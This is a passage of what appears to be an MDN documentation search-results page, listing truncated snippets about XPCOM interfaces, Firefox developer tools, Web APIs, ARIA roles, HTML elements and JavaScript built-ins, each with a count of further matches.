tring" shape="rect" title="nsxpidlcstring"> <area alt="" coords="461,197,611,245" href="http://developer.mozilla.org/en/nsdependentcstring" shape="rect" title="nsdependentcstring"> <area alt="" coords="635,197,787,245" href="http://developer.mozilla.org/en/nspromiseflatcstring" shape="rect" title="nspromiseflatcstring"> <area alt="" coords="173,293,285,341" href="http://developer.mozilla.org/en/nscautostring" shape="rect" title="nscautostring"> <area alt="" coords="5,389,227,437" href="http://developer.mozilla.org/en/ns_lossyconvertutf16toascii" shape="rect" title="ns_lossyconvertutf16toascii"> <area alt="" coords="251,389,435,437" href="http://developer.mozilla.org/en/ns_convertutf16toutf8" shape="rect" title="ns_convertutf16toutf8"> <area alt="" coords="309,293,445,341" href="http://develo...
...r.mozilla.org/en/nsadoptingcstring" shape="rect" title="nsadoptingcstring"> </map> method overview constructors beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutableda...
...parameters nscsubstringtuple& tuple void nsacstring_internal(char*, pruint32, pruint32) - source parameters char* data pruint32 length pruint32 flags beginreading char* beginreading() const - source reading iterators nsreadingiterator<char>& beginreading(nsreadingiterator<char>&) const - source deprecated reading iterators parameters nsreadingiterator<char>& iter char*& beginreading(const char*&) const - source parameters char*& iter endreading char* endreading() const - source nsreadingiterator<char>& endreading(nsreadingiterator<char>&) const - source parameters nsreadingiterator<char>& iter char*& endreading(const char*&) const - source parameters char*& iter b...
...And 11 more matches
IAccessibleAction
other-licenses/ia2/accessibleaction.idlnot scriptable this interface gives access to actions that can be executed for accessible objects.
... 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) every accessible object that can be manipulated via the native gui beyond the methods available either in the msaa iaccessible interface or in the set of iaccessible2 interfaces (other than this iaccessibleaction interface) should support the iaccessibleaction interface in order to provide assistive technology access to all the actions that can be performed by the object.
... each action can be performed or queried for a name, description or associated key bindings.
...And 11 more matches
nsIAccessibleRetrieval
siblefor(in nsidomnode anode); nsiaccessible getaccessibleinshell(in nsidomnode anode, in nsipresshell apresshell); nsiaccessible getaccessibleinweakshell(in nsidomnode anode, in nsiweakreference apresshell); obsolete since gecko 2.0 nsiaccessible getaccessibleinwindow(in nsidomnode anode, in nsidomwindow adomwin); obsolete since gecko 2.0 nsiaccessible getapplicationaccessible(); nsiaccessible getattachedaccessiblefor(in nsidomnode anode); nsiaccessible getcachedaccessible(in nsidomnode anode, in nsiweakreference ashell); obsolete since gecko 2.0 nsiaccessnode getcachedaccessnode(in nsidomnode anode, in nsiweakreference ashell); obsolete since gecko 2.0 nsidomnode getrelevantcontentnodefor(in nsidomnode anode); ...
...create a new accessible of the appropriate type if necessary, or use one from the accessibility cache if it already exists.
...create a new accessible of the appropriate type if necessary, or use one from the accessibility cache if it already exists.
...And 11 more matches
nsIAppShell
this interface is designed to be used on the main application thread only.
... methods create() obsolete since gecko 1.9 (firefox 3) creates an application shell.
...favorperformancehint() give hint to native event queue notification mechanism.
...And 11 more matches
nsIComponentManager
66 introduced gecko 0.7 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void addbootstrappedmanifestlocation(in nsilocalfile alocation); void createinstance(in nscidref aclass, in nsisupports adelegate, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void createinstancebycontractid(in string acontractid, in nsisupports adelegate, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void getclassobject(in nscidref aclass, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result)...
...; void getclassobjectbycontractid(in string acontractid, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void removebootstrappedmanifestlocation(in nsilocalfile alocation); methods addbootstrappedmanifestlocation() loads a "bootstrapped" chrome.manifest file from the specified directory or xpi file.
...until gecko 10 you had to call this method manually from within the add-on's startup() method (with a matching removebootstrappedmanifestlocation() call in the add-on's shutdown() method).
...And 11 more matches
nsIModule
inherits from: nsisupports last changed in gecko 0.9.9 method overview boolean canunload(in nsicomponentmanager acompmgr); void getclassobject(in nsicomponentmanager acompmgr, in nscidref aclass, in nsiidref aiid, [retval, iid_is(aiid)] out nsqiresult aresult); void registerself(in nsicomponentmanager acompmgr, in nsifile alocation, in string aloaderstr, in string atype); void unregisterself(in nsicomponentmanager acompmgr, in nsifile alocation, in string aloaderstr); methods canunload() this method may be queried to determine whether or not the component modul...
...e can be unloaded by xpcom.
... boolean canunload( in nsicomponentmanager acompmgr ); parameters acompmgr the global component manager.
...And 11 more matches
nsIServiceManager
xpcom/components/nsiservicemanager.idlscriptable this interface provides a means to obtain global services in an application.
...unlike createinstance, this will always return the same object each time it is called with the same arguments.
... exceptions thrown ns_error_factory_not_registered indicates that the specified class is not registered.
...And 11 more matches
nsITelemetry
toolkit/components/telemetry/nsitelemetry.idlscriptable a service to gather performance data that can be tracked over time to allow generating histograms.
...e/telemetry;1 as a service: let telemetry = components.classes["@mozilla.org/base/telemetry;1"] .getservice(components.interfaces.nsitelemetry); method overview jsval gethistogrambyid(in acstring id); jsval snapshothistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); jsval getkeyedhistogrambyid(in acstring id); void capturestack(in acstring name); jsval snapshotcapturedstacks([optional] in boolean clear); nsisupports getloadedmodules(); jsval snapshotkeyedhistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); void sethistogramrecordingenabled(in acstring id, in boolean enabled); void asyncfetchtelemetrydata(in nsifetchtelemetrydatacallback aca...
...llback); double mssinceprocessstart(); void scalaradd(in acstring aname, in jsval avalue); void scalarset(in acstring aname, in jsval avalue); void scalarsetmaximum(in acstring aname, in jsval avalue); jsval snapshotscalars(in uint32_t adataset, [optional] in boolean aclear); void keyedscalaradd(in acstring aname, in astring akey, in jsval avalue); void keyedscalarset(in acstring aname, in astring akey, in jsval avalue); void keyedscalarsetmaximum(in acstring aname, in astring akey, in jsval avalue); jsval snapshotkeyedscalars(in uint32_t adataset, [optional] in boolean aclear); void clearscalars(); test only void flushbatchedchildtelemetry(); void recordevent(in acstring acategory, in...
...And 11 more matches
nsIThread
threads have a built-in event queue, and a thread is an event target that can receive nsirunnable objects (events) to be processed on the thread.
...this causes events to stop being dispatched to the thread, and causes any pending events to run to completion before the thread joins with the current thread (see pr_jointhread() for details).
... during the execution of this method call, events for the current thread may continue to be processed.
...And 11 more matches
nsITransactionManager
a value greater than zero indicates the max number of transactions that can exist at any time on both the undo and redo stacks.
... methods addlistener() adds a listener to the transaction manager's notification list.
...the listener's nsitransactionlistener.addref() method is called.
...And 11 more matches
nsIWebBrowserChrome
in this case the implementer is responsible for taking the new webbrowser object and doing any necessary initialization or setup as if it had created the webbrowser itself.
... chrome_locationbar 64 value for the chromeflags attribute.
... chrome_with_size 4096 specifically for use with nsiwindowcreator.
...And 11 more matches
nsIWebProgress
however, in some cases a nsiwebprogress instance may not have an associated dom window.
...a nsiwebprogresslistener instance receives notifications for the nsiwebprogress instance to which it added itself, and it may also receive notifications from any nsiwebprogress instances that are children of that nsiwebprogress instance.
...exceptions thrown ns_error_failure indicates that there is no associated dom window.
...And 11 more matches
nsIWindowMediator
implemented by: @mozilla.org/appshell/window-mediator;1 as a service: var windowmediator = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); method overview void addlistener(in nsiwindowmediatorlistener alistener); boolean calculatezposition(in nsixulwindow inwindow, in unsigned long inposition, in nsiwidget inbelow, out unsigned long outposition, out nsiwidget outbelow); native code only!
... classes, ci: interfaces} = components; var windowlistener = { onopenwindow: function (awindow) { // wait for the window to finish loading let domwindow = awindow.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsidomwindowinternal || ci.nsidomwindow); domwindow.addeventlistener("load", function () { domwindow.removeeventlistener("load", arguments.callee, false); //this removes this load function from the window //window has now loaded now do stuff to it //as example this will add a function to listen to tab select and will fire alert in that window if (domwindow.gbrowser && domwindow.gbrowser.tabcontainer) { domwindow.gbrowser.tabcontainer.addeventlistener('tabselect', function () { ...
...ndow.alert('tab was selected') }, false); } }, false); }, onclosewindow: function (awindow) {}, onwindowtitlechange: function (awindow, atitle) {} }; //to register services.wm.addlistener(windowlistener); //services.wm.removelistener(windowlistener); //once you want to remove this listener execute removelistener, currently its commented out so you can copy paste this code in scratchpad and see it work native code only!calculatezposition a window wants to be moved in z-order.
...And 11 more matches
nsIXULWindow
when the window is destroyed, it will fire a "xul-window-destroyed" notification through the global observer service.
... this signals the application in case it needs to quit.
... intrinsicallysized boolean indicates if this window is instrinsically sized.
...And 11 more matches
nsIXmlRpcClient
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void init(in string serverurl); void setauthentication(in string username, in string password); void clearauthentication(in string username, in string password); void setencoding(in string encoding); void setencoding(in unsigned long type, out nsiidref uuid, out nsqiresult result); void asynccall (in nsixmlrpcclientlistener listener, in nsisupports ctxt, in string methodname, in nsisupports arguments, in pruint32 count); attributes attribute type description serverurl readonly n...
...siurl the url of the xml-rpc server inprogress readonly boolean whether or not a call is in progress fault readonly nsixmlrpcfault the most recent xml-rpc fault from returned from this server.
... null if the last call didn't return an xml-rpc fault.
...And 11 more matches
Troubleshooting XPCOM components registration
there are several common reasons that registration can fail: a component that is a binary (shared library) fails to load a javascript component has parsing errors the shared library loaded correctly, but registration was not successful did registration succeed?
...you can be certain that a component has failed to register by going to the error console and evaluating components.classes["contract-id"].name where contract-id is your contract id.
...if the error appears, you can use nspr logging to see additional information about the failure by running firefox from a command prompt: rem close all firefox windows!
...And 11 more matches
Building a Thunderbird extension 3: install manifest
open the file called install.rdf that you created at the top of your extension's directory hierarchy and paste the following text into the file: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>myfirstext@jen.zed</em:id> <em:name>my first extension</em:name> <em:version>1.0</em:version> <em:creator>jenzed</em:creator> <em:targetapplication> <description> <em:id>{3550...
...f703-e582-4d05-9a08-453d09bdfdc6}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>5.0.*</em:maxversion> </description> </em:targetapplication> </description> </rdf> the following items (shown in bold) should be customized for your application: <em:id>myfirstext@jen.zed</em:id>: this is the id of the extension.
... the first portion is the short name of the extension and must be in lowercase; the last portion is a two-part period-delimited value such as your first and last name or the top-level domain of your website.
...And 11 more matches
Flash Activation: Browser Comparison - Plugins
this guide will help outline the similarities and differences between the browsers so web developers can provide the best user experience.
...flash-blocking extensions are no longer necessary because this functionality is now built into the browser.
... mozilla firefox google chrome microsoft edge setting name ask to activate html5 by default click-to-run 'application/x-shockwave-flash' in navigator.mimetypes by default when flash is inactive yes no no 'application/x-shockwave-flash' in navigator.mimetypes when user enables flash yes yes yes <object> with fallback content triggers ui yes, with exceptions no yes small/hidden flash triggers additional ui yes no no enabling flash automatically reloads the page no yes yes other features related to flash domain blocking plugin power saver peripheral content pause each of the browser vendors has a roadmap about the future of flash and chang...
...And 11 more matches
Scripting plugins - Plugins
« previousnext » xxx: dummy p element this document describes the new cross-browser npapi extensions, commonly called npruntime, that have been developed by a group of browser and plugin vendors, including the mozilla foundation, adobe, apple, opera, and sun microsystems (see press release).
... (a bit of history: npapi plugins that used to take advantage of being scriptable via liveconnect in 4.x netscape browsers lost this possibility in mozilla (due to the jni making the netscape 4.x jri obsolete).
... as an answer to this large gap in the netscape plugin api, an extension to the api has been developed that lets plugins be scriptable again, independent of java.
...And 11 more matches
Debugger.Script - Firefox Developer Tools
the two cases are distinguished by their format property being "js" or "wasm".
... the code passed to a single call to eval, excluding the bodies of any functions that code defines.
...for a given debugger instance, spidermonkey constructs exactly one debugger.script instance for each underlying script object; debugger code can add its own properties to a script object and expect to find them later, use == to decide whether two expressions refer to the same script, and so on.
...And 11 more matches
Frame rate - Firefox Developer Tools
a low or inconsistent frame rate can make a site appear unresponsive or janky, making for a bad user experience.
...it gives you a quick indication of where your site might be having problems, enabling you to use the other tools for a more in-depth analysis.
... frame rate and responsiveness frame rate is the rate at which a video device can produce images (or frames).
...And 11 more matches
Settings - Firefox Developer Tools
the menu includes settings to control the location of the developer tools.
... you can choose between the default setting at the bottom of the windows, or move the tools to the left or right side of the screen.
...you can also choose to open the tools in a separate window.
...And 11 more matches
Compositing and clipping - Web APIs
we can, however, change this behaviour by setting the globalcompositeoperation property.
... globalcompositeoperation we can not only draw new shapes behind existing shapes but we can also use it to mask off certain areas, clear sections from the canvas (not limited to rectangles like the clearrect() method does) and more.
... clipping paths a clipping path is like a normal canvas shape but it acts as a mask to hide unwanted parts of shapes.
...And 11 more matches
DirectoryReaderSync - Web APIs
about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
... this specification is pretty much abandoned, having failed to reach any substantial traction.
... basic concepts before you call the only method in this interface, readentries(), create the directoryentrysync object.
...And 11 more matches
Document.cookie - Web APIs
WebAPIDocumentcookie
syntax read all cookies accessible from this location allcookies = document.cookie; in the code above allcookies is a string containing a semicolon-separated list of all cookies (i.e.
...note that you can only set/update a single cookie at a time using this method.
... consider also that: any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator: ;path=path (e.g., '/', '/mydir') if not specified, defaults to the current path of the current document location.
...And 11 more matches
Element.classList - Web APIs
WebAPIElementclassList
this can then be used to manipulate the class list.
... the domtokenlist itself is read-only, although you can modify it using the add() and remove() methods.
...see https://bugzilla.mozilla.org/show_bug.cgi?id=814014 polyfill the legacy onpropertychange event can be used to create a living classlist mockup thanks to a element.prototype.classname property that fires the specified event once it is changed.
...And 11 more matches
Element: mousewheel event - Web APIs
bubbles yes cancelable yes interface mousewheelevent event handler property onmousewheel the detail property the value of the detail property is always zero, except in opera, which uses detail similarly to the firefox-only dommousescroll event's detail value, which indicates the scroll distance in terms of lines, with negative values indicating the scrolling movement is eith...
...er toward the bottom or toward the right, and positive values indicating scrolling to the top or left.
... wheeldelta, wheeldeltax and wheeldeltay value the wheeldelta attribute value is an abstract value which indicates how far the wheel turned.
...And 11 more matches
FileSystemEntry.moveTo() - Web APIs
the filesystementry interface's method moveto() moves the file specified by the entry to a new location on the file system, or renames the file if the destination directory is the same as the source.
... there are some typical restrictions on what you can do: a directory can't be moved into itself.
... an entry can't be moved into its parent directory unless you specify a new name.
...And 11 more matches
File and Directory Entries API support in Firefox - Web APIs
work to standardize the specification was abandoned back in 2012, but by that point, google chrome included its own implementation of the api.
... over time, a number of popular sites and web applications came to use it, often without providing any means of falling back to standard apis or even checking to be sure the api is available before using it.
... mozilla instead opted to implement other apis which can be used to solve many of the same problems, such as indexeddb; see the blog post why no filesystem api in firefox?
...And 11 more matches
HTMLFieldSetElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignm...
... htmlfieldsetelement.disabled a boolean reflecting the disabled html attribute, indicating whether the user can interact with the control.
... if the field set is not a descendant of a form element, then the attribute can be the id of any form element in the same document it is related to, or the null value if none matches.
...And 11 more matches
IDBDatabase.transaction() - Web APIs
the transaction method of the idbdatabase interface immediately returns a transaction object (idbtransaction) containing the idbtransaction.objectstore method, which you can use to access your object store.
... if you need to access only one object store, you can specify its name as a string.
... therefore the following lines are equivalent: var transaction = db.transaction(['my-store-name']); var transaction = db.transaction('my-store-name'); if you need to access all object stores in the database, you can use the property idbdatabase.objectstorenames: var transaction = db.transaction(db.objectstorenames); passing an empty array will throw an exception.
...And 11 more matches
Online and offline events - Web APIs
some browsers implement online/offline events from the whatwg web applications 1.0 specification.
... overview in order to build a good offline-capable web application, you need to know when your application is actually offline.
... you also need to know when your application has returned to an 'online' status again.
...And 11 more matches
PaymentAddress - Web APIs
the exact size and content varies by country or location and can include, for example, a street name, house number, apartment number, rural delivery route, descriptive instructions, or post office box number.
... paymentaddress.country read only a domstring specifying the country in which the address is located, using the iso-3166-1 alpha-2 standard.
... the string is always given in its canonical upper-case form.
...And 11 more matches
PaymentResponse.retry() - Web APIs
this lets your app gracefully deal with situations such as invalid shipping addresses or declined credit cards.
...error can be provided all by itself to provide only a generic error message, or in concert with the other properties to serve as an overview while other properties' values gude the user to errors in specific fields in the payment form.
...for example, if the user chose to pay by credit card using the basic-card payment method, this is a basiccarderrors object.
...And 11 more matches
RTCPeerConnection: iceconnectionstatechange event - Web APIs
bubbles no cancelable no interface event event handler property oniceconnectionstatechange one common task performed by the iceconnectionstatechange event listener: to trigger ice restart when the state changes to failed.
... usage notes a successful connection attempt will typically involve the state starting at new, then transitioning through checking, then connected, and finally completed.
... however, under certain circumstances, the connected state can be skipped, causing a connection to transition directly from the checking state to completed.
...And 11 more matches
RTCPeerConnection.signalingState - Web APIs
the read-only signalingstate property on the rtcpeerconnection interface returns one of the string values specified by the rtcsignalingstate enum; these values describe the state of the signaling process on the local end of the connection while connecting or reconnecting to another peer.
... because the signaling process is a state machine, being able to verify that your code is in the expected state when messages arrive can help avoid unexpected and avoidable failures.
... for example, if you receive an answer while the signalingstate isn't "have-local-offer", you know that something is wrong, since you should only receive answers after creating an offer but before an answer has been received and passed into rtcpeerconnection.setlocaldescription().
...And 11 more matches
RTCRtpEncodingParameters - Web APIs
this value can only be set when creating the transceiver; after that, this value is read only.
... dtx only used for an rtcrtpsender whose kind is audio, this property indicates whether or not to use discontinuous transmission (a feature by which a phone is turned off or the microphone muted automatically in the absence of voice activity).
... maxbitrate an unsigned long integer indicating the maximum number of bits per second to allow for this encoding.
...And 11 more matches
RTCRtpSendParameters.encodings - Web APIs
this value can only be set when creating the transceiver; after that, this value is read only.
... dtx only used for an rtcrtpsender whose kind is audio, this property indicates whether or not to use discontinuous transmission (a feature by which a phone is turned off or the microphone muted automatically in the absence of voice activity).
... maxbitrate an unsigned long integer indicating the maximum number of bits per second to allow for this encoding.
...And 11 more matches
RTCStatsType - Web APIs
values candidate-pair an rtcicecandidatepairstats object providing statistics related to an rtcicetransport.
... candidate pairs other than the currently active pair for the transport are deleted when the rtcpeerconnection changes its rtcpeerconnection.icegatheringstate to new during an ice restart.
... the active candidate pair is deleted after the transport switches to another candidate pair; this change cannot be detected otherwise.
...And 11 more matches
SVGTransform - Web APIs
svg transform interface svgtransform is the interface for one of the component transformations within an svgtransformlist; thus, an svgtransform object corresponds to a single component (e.g., scale(…) or matrix(…)) within a transform attribute.
... an svgtransform object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
... interface overview also implement none methods void setmatrix(in svgmatrix matrix) void settranslate(in float tx, in float ty) void setscale(in float sx, in float sy) void setrotate(in float angle, in float cx, in float cy) void setskewx(in float angle) void setskewy(in float angle) properties readonly unsigned short type readonly float angle readonly svgmatrix matrix constants svg_transform_unknown = 0 svg_transform_matrix = 1 svg_transform_translate = 2 svg_transform_scale = 3 svg_transform_rotate = 4 svg_transform_skewx = 5 svg_transform_skewy = 6 normative document svg 1.1 (2nd edition) constants...
...And 11 more matches
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
you can disable the attribute array by calling disablevertexattribarray().
... either way, since attributes cannot be used unless enabled, and are disabled by default, you need to call enablevertexattribarray() to enable individual attributes so that they can be used.
... once that's been done, other methods can be used to access the attribute, including vertexattribpointer(), vertexattrib*(), and getvertexattrib().
...And 11 more matches
Clearing with colors - Web APIs
clearing the webgl context with a solid color the simplest graphical webgl program.
...note that css sets the background color of the canvas to black, so when the canvas turns green we know that webgl's magic has worked.
...next, we actually do the drawing by calling the clear() method.
...And 11 more matches
XRPermissionDescriptor.requiredFeatures - Web APIs
the xrpermissiondescriptor dictionary's requiredfeatures property should be set prior to calling navigator.permissions.query() to a list of webxr features which must be supported for the app to work.
... this ensures that permissions are checked as applicable to ensure that those features are available upon request.
... syntax xrpermissiondescriptor = { mode: xrsessionmode, requiredfeatures: reqfeaturelist, optionalfeatures: optfeaturelist }; xrpermissiondescriptor.requiredfeatures = reqfeaturelist; reqfeaturelist = xrpermissiondescriptor.requiredfeatures; value an array of strings indicating the webxr features which must be available for use by the app or site.
...And 11 more matches
XRSession - Web APIs
WebAPIXRSession
with xrsession methods, you can poll the viewer's position and orientation (the xrviewerpose), gather information about the user's environment, and present imagery to the user.
... inputsources read only returns a list of this session's xrinputsources, each representing an input device used to control the camera and/or scene.
...this includes things such as the near and far clipping planes (distances defining how close and how far away objects can be and still get rendered), as well as field of view information.
...And 11 more matches
XRSystem: requestSession() - Web APIs
the xrsystem interface's requestsession() method returns a promise which resolves to an xrsession object through which you can manage the requested type of webxr session.
... while only one immersive vr session can be active at a time, multiple inline sessions can be in progress at once.
...the session's environmentblendmode indicates the method to be used to blend the content together.
...And 11 more matches
XRView.transform - Web APIs
WebAPIXRViewtransform
the read-only transform property of the xrview interface is an xrrigidtransform object which provides the position and orientation of the viewpoint relative to the xrreferencespace specified when the xrframe.getviewerpose() method was called to obtain the view object.
... with the transform, you can then position the view as a camera within the 3d scene.
... if you instead need the more traditional view matrix, you can get using view.transform.inverse.matrix; this gets the underlying matrix of the transform's inverse.
...And 11 more matches
ARIA: cell role - Accessibility
that row, in turn, can be nested within an element with role="rowgroup", and should be nested within a grid, table or treegrid.
... a cell can contain a number of property attributes clarifying the cell's position within the tabular data structure, including aria-colindex, aria-colspan, aria-rowindex, and aria-rowspan.
... role="treegrid" similar to a grid, but with rows that can be expanded and collapsed in the same manner as for a tree.
...And 11 more matches
ARIA: document role - Accessibility
generally used in complex composite widgets or applications, the document role can inform assistive technologies to switch context to a reading mode: the document role tells assistive technologies with reading or browse modes to use the document mode to read the content contained within this element.
... <button>close</button> </div> this example shows a dialog widget with some controls and a section with some informational text that the assistive technology user can read when tabbing to it.
...this mode can be altered through various roles, including the widget and application roles.
...And 11 more matches
ARIA: dialog role - Accessibility
the dialog role is used to mark up an html based application dialog or window that separates content or ui from the rest of the web application or page.
...dialogs can be either non-modal (it's still possible to interact with content outside of the dialog) or modal (only the content in the dialog can be interacted with).
... <div role="dialog" aria-labelledby="dialog1title" aria-describedby="dialog1desc"> <h2 id="dialog1title">your personal details were successfully updated</h2> <p id="dialog1desc">you can change your details at any time in the user account section.</p> <button>close</button> </div> description marking up a dialog element with the dialog role helps assistive technology identify the dialog's content as being grouped and separated from the rest of the page content.
...And 11 more matches
Alerts - Accessibility
instead of using the javascript ‘alert’ function, we’ll use a simple wai-aria widget for notification.
... this notifies the user of the error, but allows for them continue modifying the form without losing focus (caused by the “onblur” handler in javascript's default ‘alert’ function).
... below is example javascript code which could be inserted above the closing “head” tag: <script type="application/javascript"> function removeoldalert() { var oldalert = document.getelementbyid("alert"); if (oldalert){ document.body.removechild(oldalert); } } function addalert(amsg) { removeoldalert(); var newalert = document.createelement("div"); newalert.setattribute("role", "alert"); newalert.setattribute("id", "alert"); var msg = document.createtextnode(amsg); newalert.appendchild(msg); document.body.appendchild(newalert); } function checkvalidity(aid, asearchterm, amsg) { var elem = document.getelementbyid(aid); var invalid = (elem.value.indexof(asearchterm) < 0); if (invalid) { elem.setattribute("aria-invalid", "true");...
...And 11 more matches
Developer guides
css learning area cascading style sheets (css) is a stylesheet language used to define the presentation of a document written in html.
... audio and video delivery we can deliver audio and video on the web in several ways, ranging from 'static' media files to adaptive live streams.
... audio and video manipulation the beauty of the web is that you can combine technologies to create new forms.
...And 11 more matches
<address>: The Contact Address element - HTML: Hypertext Markup Language
WebHTMLElementaddress
the html <address> element indicates that the enclosed html provides contact information for a person or people, or for an organization.
... the contact information provided by an <address> element's contents can take whatever form is appropriate for the context, and may include any type of contact information that is needed, such as a physical address, url, email address, phone number, social media handle, geographic coordinates, and so forth.
... <address> can be used in a variety of contexts, such as providing a business's contact information in the page header, or indicating the author of an article by including an <address> element within the <article>.
...And 11 more matches
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
WebHTMLElementapplet
the obsolete html applet element (<applet>) embeds a java applet into the document; this element has been deprecated in favor of <object>.
... use of java applets on the web is deprecated; most browsers no longer support use of plug-ins, including the java plug-in.
... content categories flow content, phrasing content, embedded content, interactive content, palpable content.
...And 11 more matches
<input type="submit"> - HTML: Hypertext Markup Language
WebHTMLElementinputsubmit
when the click event occurs (typically because the user clicked the button), the user agent attempts to submit the form to the server.
... formnovalidate a boolean which, if present, means the form's fields will not be subjected to constraint validation before submitting the data to the server formtarget the browsing context into which to load the response returned by the server after submitting the form formaction a string indicating the url to which to submit the data.
...there are three permitted values: application/x-www-form-urlencoded this, the default value, sends the form data as a string after url encoding the text using an algorithm such as encodeuri().
...And 11 more matches
<th> - HTML: Hypertext Markup Language
WebHTMLElementth
content categories none.
... colspan this attribute contains a non-negative integer value that indicates for how many columns the cell extends.
... rowspan this attribute contains a non-negative integer value that indicates for how many rows the cell extends.
...And 11 more matches
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
WebHTMLElementtrack
it lets you specify timed text tracks (or time-based data), for example to automatically handle subtitles.
... content categories none permitted content none, it is an empty element.
... default this attribute indicates that the track should be enabled unless the user's preferences indicate that another track is more appropriate.
...And 11 more matches
CSP: form-action - HTTP
the http content-security-policy (csp) form-action directive restricts the urls which can be used as the target of a form submissions from a given context.
... syntax one or more sources can be set for the form-action policy: content-security-policy: form-action <source>; content-security-policy: form-action <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 11 more matches
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
the intl.datetimeformat.prototype.formattoparts() method allows locale-aware formatting of strings produced by datetimeformat formatters.
...it returns an array of objects containing the locale-specific tokens from which it possible to build custom strings while preserving the locale-specific parts.
... relatedyear the string used for the related 4-digit gregorian year, in the event that the calendar's representation would be a yearname instead of a year, for example "2019".
...And 11 more matches
Intl.NumberFormat() constructor - JavaScript
syntax new intl.numberformat([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of such strings.
... for the general form and interpretation of the locales argument, see the intl page.
...possible values include: "adlm", "ahom", "arab", "arabext", "bali", "beng", "bhks", "brah", "cakm", "cham", "deva", "diak", "fullwide", "gong", "gonm", "gujr", "guru", "hanidec", "hmng", "hmnp", "java", "kali", "khmr", "knda", "lana", "lanatham", "laoo", "latn", "lepc", "limb", "mathbold", "mathdbl", "mathmono", "mathsanb", "mathsans", "mlym", "modi", "mong", "mroo", "mtei", "mymr", "mymrshan", "mymrtlng", "newa", "nkoo", "olck", "orya", "osma", "rohg", "saur", "segment", "shrd", "sind", "sinh", "sora", "sund", "takr", "talu", "tamldec", "telu", "thai", "tibt", "tirh", "vaii", "wara", "wcho".
...And 11 more matches
Object.defineProperty() - JavaScript
description this method allows a precise addition to or modification of a property on an object.
...a descriptor must be one of these two flavors; it cannot be both.
...they share the following optional keys (note: the default value is in the case of defining properties using object.defineproperty()): configurable true if and only if the type of this property descriptor may be changed and if the property may be deleted from the corresponding object.
...And 11 more matches
Proxy - JavaScript
the proxy object enables you to create a proxy for another object, which can intercept and redefine fundamental operations for that object.
... for example, this code defines a simple target with just two properties, and an even simpler handler with no properties: const target = { message1: "hello", message2: "everyone" }; const handler1 = {}; const proxy1 = new proxy(target, handler1); because the handler is empty, this proxy behaves just like the original target: console.log(proxy1.message1); // hello console.log(proxy1.message2); // everyone to customise the proxy, we define functions on the handler object: const target = { message1: "hello", message2: "everyone" }; const handler2 = { get: function(target, prop, receiver) { return "world"; } }; const proxy2 = new...
... handler functions are sometimes called traps, presumably because they trap calls to the target object.
...And 11 more matches
TypedArray.prototype.findIndex() - JavaScript
syntax typedarray.findindex(callback[, thisarg]) parameters callback function to execute on each value in the typed array, taking three arguments: element the current element being processed in the typed array.
... array the typed array findindex was called upon.
...object to use as this when executing callback.
...And 11 more matches
Iteration protocols - JavaScript
these protocols can be implemented by any object by simply following some conventions.
... whenever an object needs to be iterated (such as at the beginning of a for...of loop), its @@iterator method is called with no arguments, and the returned iterator is used to obtain the values to be iterated.
... note that when this zero-argument function is called, it is invoked as a method on the iterable object.
...And 11 more matches
Object initializer - JavaScript
objects can be initialized using new object(), object.create(), or using the literal notation (initializer notation).
...values of object properties can either contain primitive data types or other objects.
... the property name must be double-quoted, and the definition cannot be a shorthand.
...And 11 more matches
Spread syntax (...) - JavaScript
spread syntax (...) allows an iterable such as an array expression or string to be expanded in places where zero or more arguments (for function calls) or elements (for array literals) are expected, or an object expression to be expanded in places where zero or more key-value pairs (for object literals) are expected.
... syntax for function calls: myfunction(...iterableobj); for array literals or strings: [...iterableobj, '4', 'five', 6]; for object literals (new in ecmascript 2018): let objclone = { ...obj }; rest syntax (parameters) rest syntax looks exactly like spread syntax.
... examples spread in function calls replace apply() it is common to use function.prototype.apply() in cases where you want to use the elements of an array as arguments to a function.
...And 11 more matches
delete operator - JavaScript
the javascript delete operator removes a property from an object; if no more references to the same property are held, it is eventually released automatically.
... return value true for all cases except when the property is an own non-configurable property, in which case, false is returned in non-strict mode.
... any property declared with var cannot be deleted from the global scope or from a function's scope.
